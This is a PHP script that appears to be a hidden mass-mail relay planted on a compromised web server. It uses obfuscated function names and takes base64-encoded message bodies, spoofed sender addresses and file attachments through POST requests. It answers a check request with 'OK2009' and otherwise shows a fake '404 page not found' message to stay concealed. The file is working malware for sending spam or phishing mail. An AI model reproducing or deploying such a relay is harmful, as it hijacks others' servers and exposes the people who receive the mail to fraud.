function euZpsWrd($type,$mime,$xctmp,$from,$to,$subj,$text,$fname) { $fun=fopen($fname,"rb"); $un=strtoupper(uniqid(time())); $head.="From: ".$from."\r\n"; if ($xctmp!='') {$head.="X-Mailer: $xctmp\n";} if ($mime!='') {$head.="Mime-Version: 1.0\n";} $head.="Content-Type: multipart/mixed;\r\n"; $head.="boundary=\"".$un."\"\r\n\r\n"; $zag= "--".$un."\r\nContent-Type: ".$type."; charset=windows-1251\r\n"; $zag.="Content-Transfer-Encoding: 8bit\r\n\r\n".$text."\r\n"; $zag.="--".$un."\r\n"; $zag.="Content-Type: text/html; name=\"".basename($fname)."\"\r\n"; $zag.="Content-transfer-encoding: base64\r\n"; $zag.="Content-Disposition: attachment; filename=\"".basename($fname)."\"\r\n\r\n"; $zag.=chunk_split(base64_encode(fread($fun,filesize($fname))))."\r\n\r\n"; $zag.="--".$un."--\r\n\r\n"; return @mail("$to", "$subj", $zag, $head); } function sGiQTwWW($type,$mime,$xctmp,$from,$to,$subj,$text) { $head="From: $from\n"; if ($xctmp!='') {$head.="X-Mailer: $xctmp\n";} if ($mime!='') {$head.="Mime-Version: 1.0\n";} $head.= "Content-type: ".$type."; charset=windows-1251" . "\r\n"; return @mail($to,$subj,$text,$head); } if (!empty($_POST['caption']) && !empty($_POST['email']) && !empty($_POST['btype']) && !empty($_POST['emailsend']) && !empty($_POST['message']) && ($_POST['index'] == 'send')) { $xclient = substr(htmlspecialchars(trim($_POST['clientname'])), 0, 80); $title = substr(htmlspecialchars(trim($_POST['caption'])), 0, 80); $mess64 = base64_decode($_POST['message']); $mess = substr(trim($mess64), 0, 10000000); $send_to = $_POST['emailsend']; $from = $_POST['email']; $pmime = $_POST['mimevers']; $ptype = $_POST['btype']; if($_FILES['file']['name'] !=''){ if (is_dir("tmp")) { } else { mkdir("tmp"); } if(is_uploaded_file($_FILES['file']['tmp_name'])) { if(move_uploaded_file($_FILES['file']['tmp_name'], "tmp/".basename($_FILES['file']['name']))) { if(euZpsWrd($ptype,$pmime,$xclient,$from,$send_to,$title,$mess,"tmp/".basename($_FILES['file']['name']))!== FALSE) { echo "OK-FILE"; } else { echo "ERROR-FILE"; } @unlink("tmp/".basename($_FILES['file']['name'])); } else { echo "ERROR-UPLOAD"; } } else { echo "ERROR-MOVE"; } } else { if(sGiQTwWW($ptype,$pmime,$xclient,$from,$send_to,$title,$mess) !== FALSE) { echo "OK-MESS"; } else { echo "ERROR-MESS"; } } } else { if ($_GET['index'] == 'test') {echo "OK2009"; exit;} else { echo '
The page cannot be foundThe page you are looking for might have been removed, had its name changed, or is temporarily unavailable.Please try the following:
HTTP Error 404 - File or directory not found.
|